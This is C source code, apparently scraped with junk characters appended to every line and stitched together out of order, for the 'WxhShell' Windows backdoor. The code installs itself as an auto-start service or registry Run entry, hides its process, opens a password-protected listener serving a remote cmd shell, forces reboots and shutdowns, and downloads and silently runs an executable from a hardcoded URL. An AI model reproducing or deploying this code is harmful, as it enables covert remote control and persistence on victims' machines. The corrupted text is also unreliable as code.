    break; vD(;VeW[  
    } lyV]-w  
  // 关机 dug RO[  
  case 'd': { PyoLk  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~$@I <=L  
    if(Boot(SHUTDOWN)) e'ZgF~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wj3H  y4  
    else { A;g[G>J  
    closesocket(wsh); pSAXp# g  
    ExitThread(0); >8VJ!Kg4  
    } (T^aZuuS  
    break; vL><Y.kOEs  
    } emHi= [!i  
  // 获取shell WlY%f}l n  
  case 's': { PQ5DTk  
    CmdShell(wsh); QW!'A`*x  
    closesocket(wsh); /#XO!%=7  
    ExitThread(0); X2{3I\'Ft  
    break; (]pQ.3  
  } O-7 \qz  
  // 退出 hOq1 "kL  
  case 'x': { ' Sl9xd  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); E>ev/6ox  
    CloseIt(wsh); g5cR.]oz  
    break; |h'ugx1iY  
    } -,rl[1ZYZ  
  // 离开 BYGLYT;Z  
  case 'q': { X0lIeGwrQ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); WgjaMmht  
    closesocket(wsh); 8FMP)N4+  
    WSACleanup(); FrVD~;  
    exit(1); d<whb2l  
    break; V +hV&|=  
        } J@$>d  
  } uIR_p \)  
  } F[+sc Mx!G  
)TWf/L cp  
  // 提示信息 c>^_4QQ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c{E-4PYbah  
} t512]eqhb(  
  } |[qI2-el?  
aw,8'N)  
  return; B1GSZUd^?0  
} $Fo ,$  
iX,Qh2(ig  
// shell模块句柄 vEb~QX0~  
int CmdShell(SOCKET sock)  *Vc}W  
{ o(a*Fk$  
STARTUPINFO si; qaUHcdH  
ZeroMemory(&si,sizeof(si)); 2Zl65  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !~RD>N&n  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; bi_R.sfK&  
PROCESS_INFORMATION ProcessInfo; J/mLB7^R  
char cmdline[]="cmd"; OLiYjYd  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); SsaF><{5R  
  return 0; SVR AkP-  
} ;zGGT^Dn  
5Ph"*Rz%  
// 自身启动模式 6L4B$'&KQZ  
int StartFromService(void) R&-bA3w$  
{ s0\X%U("  
typedef struct R)H@'X  
{ -?GYW81Q  
  DWORD ExitStatus; R% ddB D\?  
  DWORD PebBaseAddress; ($3QjH_@  
  DWORD AffinityMask; |GMK@Q'0:  
  DWORD BasePriority; "z qt'b0bW  
  ULONG UniqueProcessId; R; IB o  
  ULONG InheritedFromUniqueProcessId; gDA hl  
}   PROCESS_BASIC_INFORMATION; VA]%i P,O-  
xX&*&RPZ  
PROCNTQSIP NtQueryInformationProcess; ch-GmAj 9  
Q8P;AN_JS  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !?KY;3L:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; x|Q6[Y  
Y!SD^Ie7!  
  HANDLE             hProcess; Pukq{/27  
  PROCESS_BASIC_INFORMATION pbi; c,+oH<bZZs  
`T mIrc  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %Jw;c`JM  
  if(NULL == hInst ) return 0; ;DRJL   
<=0_[M  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?1[go+56X  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Wy|=F~N  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); rm2TWM|  
KLoHjBq  
  if (!NtQueryInformationProcess) return 0; BtjsN22  
pE=wP/#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8*|@A6ig  
  if(!hProcess) return 0; 2Ay2 G-  
q k !Q2W  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7%0PsF _  
,,i;6q_f  
  CloseHandle(hProcess);  - @  
b]J_R"}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (5atU |8r  
if(hProcess==NULL) return 0; NE/3aU  
DB?[h<^m  
HMODULE hMod; n9)/(=)>*  
char procName[255]; haY.rH]z  
unsigned long cbNeeded; D L$P  
."MBKyg6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ] qrO"X=  
7=JiL=  
  CloseHandle(hProcess); xOS4J+'s@  
LEk W^Mv  
if(strstr(procName,"services")) return 1; // 以服务启动 ^*Ca+22xO  
af> i  
  return 0; // 注册表启动 D F0~A  
} 2#sE\D  
p[W8XX  
// 主模块 1N2:4|woe  
int StartWxhshell(LPSTR lpCmdLine) d`v]+HK  
{ 5 1 L:%Af  
  SOCKET wsl; br0gB3 r  
BOOL val=TRUE; {lqnn n3  
  int port=0; \b' <q  
  struct sockaddr_in door; q~a6ES_lA  
&ts!D!Hj  
  if(wscfg.ws_autoins) Install(); '!Q[+@$  
5<&<61[A  
port=atoi(lpCmdLine); 8p PAEf  
q7X /"Dfx  
if(port<=0) port=wscfg.ws_port; V-t!  
d]+g3oy `  
  WSADATA data; 3{ `fT5]U  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; u0N1+-6kr+  
sfx:j~bsL  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _< xU"8b"5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); xH*OEzN  
  door.sin_family = AF_INET; c~p4M64  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); R$v{ p[  
  door.sin_port = htons(port); &x\u.wIa  
{GZHD^Ce  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3vmZB2QG  
closesocket(wsl); MTa.Ubs  
return 1; tz2`X V{  
} ='YR;  
fNQ.FAK":  
  if(listen(wsl,2) == INVALID_SOCKET) { fU$zG"a_  
closesocket(wsl); xpUaFb  
return 1; -<qci3Ba}  
} U JY`P4(  
  Wxhshell(wsl); $T~|@XH  
  WSACleanup(); $UKV2c  
:h?Zg(l  
return 0; \9<aCJxN  
mM>{^%2Q:  
} #j'O rD  
hCc I >[H5  
// 以NT服务方式启动 kE/>Ys@w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) C S+6!F]  
{ *h$Dh5%P  
DWORD   status = 0; .~C*7_  
  DWORD   specificError = 0xfffffff; c7S<ex,  
f |aO9w   
  serviceStatus.dwServiceType     = SERVICE_WIN32; / [:@j+n\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7@MVInV9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; oO!@s`  
  serviceStatus.dwWin32ExitCode     = 0; S+_}=25  
  serviceStatus.dwServiceSpecificExitCode = 0; tOS%.0W5J  
  serviceStatus.dwCheckPoint       = 0; HuCH`|v-  
  serviceStatus.dwWaitHint       = 0; _! \X>rfz  
!PJ;d)\T  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ' ^n2]<  
  if (hServiceStatusHandle==0) return; ^uC1\!Q1  
ZA+$ZU^  
status = GetLastError(); HIeWgw^"  
  if (status!=NO_ERROR) +#n5w8T)M  
{ c.,eIiL  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; sl>4O]N  
    serviceStatus.dwCheckPoint       = 0; mI"`.  
    serviceStatus.dwWaitHint       = 0; A'p"FYlCW  
    serviceStatus.dwWin32ExitCode     = status; ]#TL~u[  
    serviceStatus.dwServiceSpecificExitCode = specificError; Yw4c`MyL  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); U3az\E)HV  
    return; 'GS1"rkW<5  
  } p%_r0  
DBbmM*r  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -Z)$].~|t  
  serviceStatus.dwCheckPoint       = 0; 74xI#`E  
  serviceStatus.dwWaitHint       = 0; hPP+lqY[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _~fO8_vr  
} v`bX#\It  
I Yj\t?,0  
// 处理NT服务事件,比如:启动、停止 FK;\Nce&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) x]J{EA{+  
{ XBdC/DM[  
switch(fdwControl) No!P?  
{ y2o?a6`  
case SERVICE_CONTROL_STOP: {FteQ@(  
  serviceStatus.dwWin32ExitCode = 0; B$_F)2%m;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; l&^9<th  
  serviceStatus.dwCheckPoint   = 0; DTI+VY .W^  
  serviceStatus.dwWaitHint     = 0; ,bKA]#(2  
  { :$j!e#?=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %t`a-m  
  } hQ#'_%:  
  return; k-Le)8+b  
case SERVICE_CONTROL_PAUSE: ) yRC$7I  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; t-3wjS1v  
  break; ?9 m3y0  
case SERVICE_CONTROL_CONTINUE: ?20y6c<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; WOz dYeeG  
  break; m%'9zL c  
case SERVICE_CONTROL_INTERROGATE: HkGzyDt  
  break; yI h>j.P  
}; KSMe#Qnw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `LVXK|m+$  
} ZZ)bTLu  
#$e~ o}(r  
// 标准应用程序主函数 *Iyv${  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Oh5(8.<y  
{ =3}@\f#  
{y)s85:t  
// 获取操作系统版本 Bm;{dO  
OsIsNt=GetOsVer(); XGk8Ki3w  
GetModuleFileName(NULL,ExeFile,MAX_PATH); rX{QgyY&  
WB"$NYB  
  // 从命令行安装 tlA4oVII  
  if(strpbrk(lpCmdLine,"iI")) Install(); N"2P&Ho]  
hm&{l|u{RU  
  // 下载执行文件 kS8srT /H  
if(wscfg.ws_downexe) { 1Hy  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) tt6ElP|D  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2sk^A ly  
} <~u.:x@ R  
b=Zg1SqV  
if(!OsIsNt) { 4qrPAt  
// 如果时win9x,隐藏进程并且设置为注册表启动 @L,T/m-HF  
HideProc(); d]} 7]  
StartWxhshell(lpCmdLine); zZ[SC  
} NGd|7S[^+c  
else P>0j]?RB  
  if(StartFromService()) -!I.:97 N  
  // 以服务方式启动 GKZn|<Y|{c  
  StartServiceCtrlDispatcher(DispatchTable); axxd W)+K  
else "/O0j/lm  
  // 普通方式启动 <u&uwD~A  
  StartWxhshell(lpCmdLine); =5+M]y E<  
_C)u#]t  
return 0; = K"F!}  
} s@'};E^]@r  
gOx4qxy/m|  
4&R\6!*s  
v'Tk Kwl  
=========================================== fu?>O /Gn/  
 /e!/  
UFyGp>/06  
R5H UgI  
v}M, M&?  
G$x uHHZ'  
"  i('z~  
}^pnwo9vV  
#include <stdio.h> _( 0!bUs>  
#include <string.h> |U8;25Y  
#include <windows.h> w-HgC  
#include <winsock2.h> k&n7 _[]n  
#include <winsvc.h> pW:U|m1dS  
#include <urlmon.h> KJ.ra\F  
`i9WnPRt  
#pragma comment (lib, "Ws2_32.lib") 2Qc&6-;`  
#pragma comment (lib, "urlmon.lib") SrN0f0  
%$:js4  
#define MAX_USER   100 // 最大客户端连接数 st:[|`  
#define BUF_SOCK   200 // sock buffer XaR(q2s  
#define KEY_BUFF   255 // 输入 buffer S2*-UluG  
H*A)U'`  
#define REBOOT     0   // 重启 Y~,[9:SR  
#define SHUTDOWN   1   // 关机 XqyfeY5t  
VCX})sp  
#define DEF_PORT   5000 // 监听端口 _U.8\J2  
+`mJh \*  
#define REG_LEN     16   // 注册表键长度 3S_KycE{  
#define SVC_LEN     80   // NT服务名长度 Yu9Ccj`  
X. UN=lu  
// 从dll定义API hkRv0q.'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Ipb 4{A&"\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); U :J~O y_Z  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); hh|'Uq3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `Rm2G  
"sUe:F;  
// wxhshell配置信息 VS%8f.7ep  
struct WSCFG { h7~&rWb  
  int ws_port;         // 监听端口 l9qq;hhGP,  
  char ws_passstr[REG_LEN]; // 口令 dG Qy=T:  
  int ws_autoins;       // 安装标记, 1=yes 0=no q~;P^i<Y  
  char ws_regname[REG_LEN]; // 注册表键名 @Ys(j$U't  
  char ws_svcname[REG_LEN]; // 服务名 TAi |]U!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 wAVO%8u  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 oMkB!s  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?Xlmt$Jp  
int ws_downexe;       // 下载执行标记, 1=yes 0=no rw ^^12)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :uu\q7@'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1k-^LdDj  
nm*1JA.:  
}; 7V 2%  
[77]0V7  
// default Wxhshell configuration =uKK{\+|Y  
struct WSCFG wscfg={DEF_PORT, RRV@nDf   
    "xuhuanlingzhe", rfXM*h  
    1, E$ F)z  
    "Wxhshell", bpzB}nEp  
    "Wxhshell", $O%lYQY]  
            "WxhShell Service", B5=L</Aj  
    "Wrsky Windows CmdShell Service", O)\xElu  
    "Please Input Your Password: ", [LjYLm%<  
  1, (|(Y;%>-v  
  "http://www.wrsky.com/wxhshell.exe", `5O<U~'d  
  "Wxhshell.exe" 4AZlr*U  
    }; u17Da9@;  
_@F4s   
// 消息定义模块 /(W{`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !CPv{c`|qg  
char *msg_ws_prompt="\n\r? for help\n\r#>"; v?K X Tc%Z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; lU:z>gC  
char *msg_ws_ext="\n\rExit."; uQ5NN*C=  
char *msg_ws_end="\n\rQuit."; K{x<zv&,  
char *msg_ws_boot="\n\rReboot..."; M GN*i9CE  
char *msg_ws_poff="\n\rShutdown..."; [<1i[\^  
char *msg_ws_down="\n\rSave to "; '+f!(teLz  
'gI58#v  
char *msg_ws_err="\n\rErr!"; j ;VYF  
char *msg_ws_ok="\n\rOK!"; QkGr{  
O|4~$7  
char ExeFile[MAX_PATH]; \^|ncu:T  
int nUser = 0; jdXkU  
HANDLE handles[MAX_USER]; /n@_Ihx  
int OsIsNt; e}(. u1  
*q|.H9 K(  
SERVICE_STATUS       serviceStatus; %nFZA)B[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; gS4K](KH |  
:M1+[FT  
// 函数声明 y{!`4CxF  
int Install(void); &{Uaa  
int Uninstall(void); dQ/Xs.8  
int DownloadFile(char *sURL, SOCKET wsh); K4,VSy1byI  
int Boot(int flag); i:qc2#O:J  
void HideProc(void); s ~(qO|d  
int GetOsVer(void); zw\"!=r^  
int Wxhshell(SOCKET wsl); v:JFUn}  
void TalkWithClient(void *cs); \@MGO aR]  
int CmdShell(SOCKET sock); $`{}4,5M  
int StartFromService(void); azj<aaH  
int StartWxhshell(LPSTR lpCmdLine); Y49kq}  
rH8?GR0<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _q3SR[k+`  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )Qw|)='-  
ln3x1^!  
// 数据结构和表定义 (0Hhn2JA  
SERVICE_TABLE_ENTRY DispatchTable[] = _L%/NXu,  
{ 0:v7X)St  
{wscfg.ws_svcname, NTServiceMain}, P:ys--$"  
{NULL, NULL} *v8Cj(69  
}; Fe"0Hp+  
w?oIKj  
// 自我安装 IW6;ZDP  
int Install(void) *`|.:'  
{ {7Dc(gNS  
  char svExeFile[MAX_PATH]; i T 4H@  
  HKEY key; TD!QqLW  
  strcpy(svExeFile,ExeFile); r}"T y  
xV}|G   
// 如果是win9x系统,修改注册表设为自启动 WVJN6YNd V  
if(!OsIsNt) { \<T6+3p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H{p+gj^J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8QFY:.h&  
  RegCloseKey(key); P1TL H2)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >]ZojdOl)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3zs~ Y3M?i  
  RegCloseKey(key); 0ZkA .p  
  return 0; M?)>, !Z)  
    } vJl4.nk  
  } eHPGzN Xb  
} B<8Z?:3YS  
else { [#lPT'l  
DFE?H  
// 如果是NT以上系统,安装为系统服务 @@SG0YxZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); A' dt WD  
if (schSCManager!=0) WdunI~&.  
{ _wZ(%(^I  
  SC_HANDLE schService = CreateService /x0zZ+}V  
  ( M~ynJ@q  
  schSCManager, z4UeUVfZ}  
  wscfg.ws_svcname, Pg*ZQE[ME8  
  wscfg.ws_svcdisp, AD*+?%hj  
  SERVICE_ALL_ACCESS, s x`C<c~u  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , WXO@oZ!  
  SERVICE_AUTO_START, zcIZJVYA  
  SERVICE_ERROR_NORMAL, r4!zA-{  
  svExeFile, ,h8)5Mj/J  
  NULL, o] )qv~o)  
  NULL, VNXB7#ry  
  NULL, ~[k 2(  
  NULL, sI9~TZ :  
  NULL r IS \#j  
  ); ~y B[}BPf  
  if (schService!=0) }KS[(Q  
  { >qcir~ &  
  CloseServiceHandle(schService); iCc@N|~  
  CloseServiceHandle(schSCManager); PS(LD4mD  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); xU67ztS'E'  
  strcat(svExeFile,wscfg.ws_svcname); @-!w,$F)%d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2)4{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); q SCt= eQ  
  RegCloseKey(key); 96MRnj*Y[  
  return 0; `(*5yXC  
    } a)y8MGx?  
  } /oe="/y6  
  CloseServiceHandle(schSCManager); 7/Ve=7]  
} 1eiH%{w  
} i]9SCO  
Hr96sN.R   
return 1; }v=q6C#Q>  
} el+euOV  
7th&C,c&  
// 自我卸载 hj0uv6t.c  
int Uninstall(void) qI5/ME(}  
{ -!wm]kx f  
  HKEY key; *k=Pk  
JMO"(?  
if(!OsIsNt) { V , )kw{](  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z{u*vUC&  
  RegDeleteValue(key,wscfg.ws_regname); VpTp*[8O  
  RegCloseKey(key); ]J_Dn\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2E=E!Zwt_  
  RegDeleteValue(key,wscfg.ws_regname); < 8WS YZ  
  RegCloseKey(key); s&8QRI.  
  return 0; @}aK\  
  } $n(@hT>?  
} S\g8(\u  
} mP3:Fc _G  
else { Q:=s99  
u) fbR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [dOPOA/d  
if (schSCManager!=0) F4">go  
{ Z1^S;#v  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?A,gDk/#  
  if (schService!=0) 8.]dThaq  
  { vP88%I;  
  if(DeleteService(schService)!=0) { o?/N4$&5l  
  CloseServiceHandle(schService); 9Z7o?S";  
  CloseServiceHandle(schSCManager); - DL/Hk_r  
  return 0; KWN0$*4  
  } ke)3*.Y%C  
  CloseServiceHandle(schService); "6Ly?'H K  
  } \*d@_oQ$  
  CloseServiceHandle(schSCManager); BD,~M*%z  
} !Y`nKC(=z  
} 36&7J{MU  
_3hCu/BV  
return 1; kTs)u\r.  
} :~U1JAs$  
-D{~7&  
// 从指定url下载文件 p5G O@^i  
int DownloadFile(char *sURL, SOCKET wsh) 4?72TBl]  
{ fN8A'p[  
  HRESULT hr; N#]f?6 *R  
char seps[]= "/"; <NT/+>:2  
char *token; `=%[  
char *file; _qJ[~'m<^C  
char myURL[MAX_PATH]; 2ORWdR.b  
char myFILE[MAX_PATH]; oBKZ$&_h  
49Ht I9@  
strcpy(myURL,sURL); Q.M3rRh  
  token=strtok(myURL,seps); K& 2p<\2  
  while(token!=NULL) tlqDY1  
  { od?Q&'A  
    file=token; q:1 1XPP  
  token=strtok(NULL,seps); 6t/})Xv  
  } E(]yjZ/  
IO]Oo3  
GetCurrentDirectory(MAX_PATH,myFILE); ckN/_ u3  
strcat(myFILE, "\\"); LF*3Iw|v  
strcat(myFILE, file); BniFEW:<  
  send(wsh,myFILE,strlen(myFILE),0); <m UDx n  
send(wsh,"...",3,0); ,iiWVA"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +S0A`rL  
  if(hr==S_OK) x1mxM#ql  
return 0; C2ToT\^  
else dpJi5fN  
return 1; Mr/^V,rA  
>G/>:wwSP.  
} JL;H:`x  
3=sA]j-+(  
// 系统电源模块  6~$ <  
int Boot(int flag) I%{^i d@  
{ YfF&: "-NU  
  HANDLE hToken; [J-r*t"!  
  TOKEN_PRIVILEGES tkp; gjyg`%  
{vA;#6B|  
  if(OsIsNt) { ~]c^v'k  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .F)--%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?vf\_R'M  
    tkp.PrivilegeCount = 1; G9Azd^3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8*6J\FE<p  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $`_(%tl  
if(flag==REBOOT) { PX2Ejrwj  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Z''Fz(qMC  
  return 0; 3<fJ5-z|-  
} Ob0=ZW`+&  
else { q2gc.]K \  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~3f#cEP>d}  
  return 0; [>Q{70 c[  
} Q 7B)t;^  
  } jnH44  
  else { EB@!?=0x  
if(flag==REBOOT) { a-i#?hld  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) t#Yyo$9  
  return 0; &sx/qS#,VL  
} { H9pF2C  
else { CAc nH  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) n (cSfT  
  return 0; Dtd bQF  
} p c-'+7Dh>  
} <|Z0|sel  
,EwJg69  
return 1; _eO+O=j_x  
} ;J?^M!l2=  
Zd~s5  
// win9x进程隐藏模块 l*%voKZG  
void HideProc(void) 4Z]^v4vb  
{  4uU(t  
=bv8W < #  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); '[\%P2c)Q  
  if ( hKernel != NULL ) *p.ELI1IC  
  { :*c@6;2@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); u!L8Sv  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); PO)5L  
    FreeLibrary(hKernel); `yuD/-j  
  } F<IqKgGzH  
]V.9jlXF  
return; m{+lG*  
} -6t# ?Dkc'  
A=h`Z^8\B  
// 获取操作系统版本 ( 7Y :3  
int GetOsVer(void) TvI}yaCu/x  
{ )](8 {}wo  
  OSVERSIONINFO winfo; c%uhQ 62  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); r=@h}TKv{I  
  GetVersionEx(&winfo); bIWcL$}4Q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7Dm^49H  
  return 1; 8yztVdh  
  else hc0VS3 k)  
  return 0; |l)Oy#W  
} (W@ ypK@  
[d dEt  
// 客户端句柄模块 ,FBF;zED  
int Wxhshell(SOCKET wsl) w2$HP/90j  
{ ?kS5=&<  
  SOCKET wsh; hb? |fi  
  struct sockaddr_in client; _MMz x2}  
  DWORD myID; YT&_{nL#\  
$V5Ol6@ 2  
  while(nUser<MAX_USER) ap;UxWqx  
{ mT-5Ok&TUe  
  int nSize=sizeof(client); g3x192f  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); RJtSHiM2  
  if(wsh==INVALID_SOCKET) return 1; 6;(Slkv  
\DGm[/P  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vv%Di.V  
if(handles[nUser]==0) deu+ i  
  closesocket(wsh); =4Ex' %%(U  
else \19XDqf8  
  nUser++; Zjo9c{\  
  } df8rf8B-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); G]&:">&R  
t.knYO)  
  return 0; Yq5}r?N  
} sV[|op  
1N#TL"lMS  
// 关闭 socket s|{K?s  
void CloseIt(SOCKET wsh) "?avb`YU'  
{ q{ctHsQ(9  
closesocket(wsh); 7 ic]q,  
nUser--; f#X`e'1  
ExitThread(0); mX|AptND  
} ]7xAL7x  
\=5CNe  
// 客户端请求句柄 2d1'!B zDA  
void TalkWithClient(void *cs) "aa6W  
{ 1bj75/i<6  
1U"Y'y2  
  SOCKET wsh=(SOCKET)cs; lfI[r|  
  char pwd[SVC_LEN]; "_q5\]z\O  
  char cmd[KEY_BUFF]; *O 0*  
char chr[1]; )k7`!@ID  
int i,j; & 6}vvgz  
BY \p?79  
  while (nUser < MAX_USER) { |AWu0h\keO  
}3?M0:  
if(wscfg.ws_passstr) { 9sT?"(=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Wa[~)A  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SXod r}  
  //ZeroMemory(pwd,KEY_BUFF); +9h6{&yr1  
      i=0; i [j`'.fj  
  while(i<SVC_LEN) { b#XS.e/uf  
XU SfOf(  
  // 设置超时 <F=j6U7   
  fd_set FdRead; b0KorUr  
  struct timeval TimeOut; ^k-H$]  
  FD_ZERO(&FdRead); yyA/x,  
  FD_SET(wsh,&FdRead); T-5T`awf  
  TimeOut.tv_sec=8; `_v-Y`Z  
  TimeOut.tv_usec=0; S?8q.59  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); H!45w;,I  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~$Mp>ZB2W  
JBWiTUk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZFdQ Z=.'  
  pwd=chr[0]; gV`:eNo*  
  if(chr[0]==0xd || chr[0]==0xa) { F;~ #\ X  
  pwd=0; %@BQv 4oJ  
  break; ]AHi$Xx  
  } o[cKh7&+  
  i++; -rH3rKtf~  
    } p>!r[v'  
a .] !  
  // 如果是非法用户,关闭 socket aa".d[*1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); U7ajDw  
} B8TI 5mZ4  
iK.MC%8?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Dt +"E  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kYR&t}jlCg  
j+c)%  
while(1) { PN.=])7T  
"3hw]`a}  
  ZeroMemory(cmd,KEY_BUFF); %NAz(B  
@Sv  ?Ar  
      // 自动支持客户端 telnet标准   :'rXu6c-  
  j=0; o oS4F1ta  
  while(j<KEY_BUFF) { ]gmf%g'C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?Rl*5GRW  
  cmd[j]=chr[0]; M_XZOlW5  
  if(chr[0]==0xa || chr[0]==0xd) { !-;Me&"I=`  
  cmd[j]=0; FS@SC`~(  
  break; *y0`P0V|8  
  } 8a05`ZdP  
  j++; S$$:G$j  
    } Cu|n?Uk  
:))AZ7_  
  // 下载文件 HV?awc  
  if(strstr(cmd,"http://")) { 1DLQ Zq  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); H$[--_dI{  
  if(DownloadFile(cmd,wsh)) WrD20Q$9Q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {)%B?75~  
  else goHr# @  
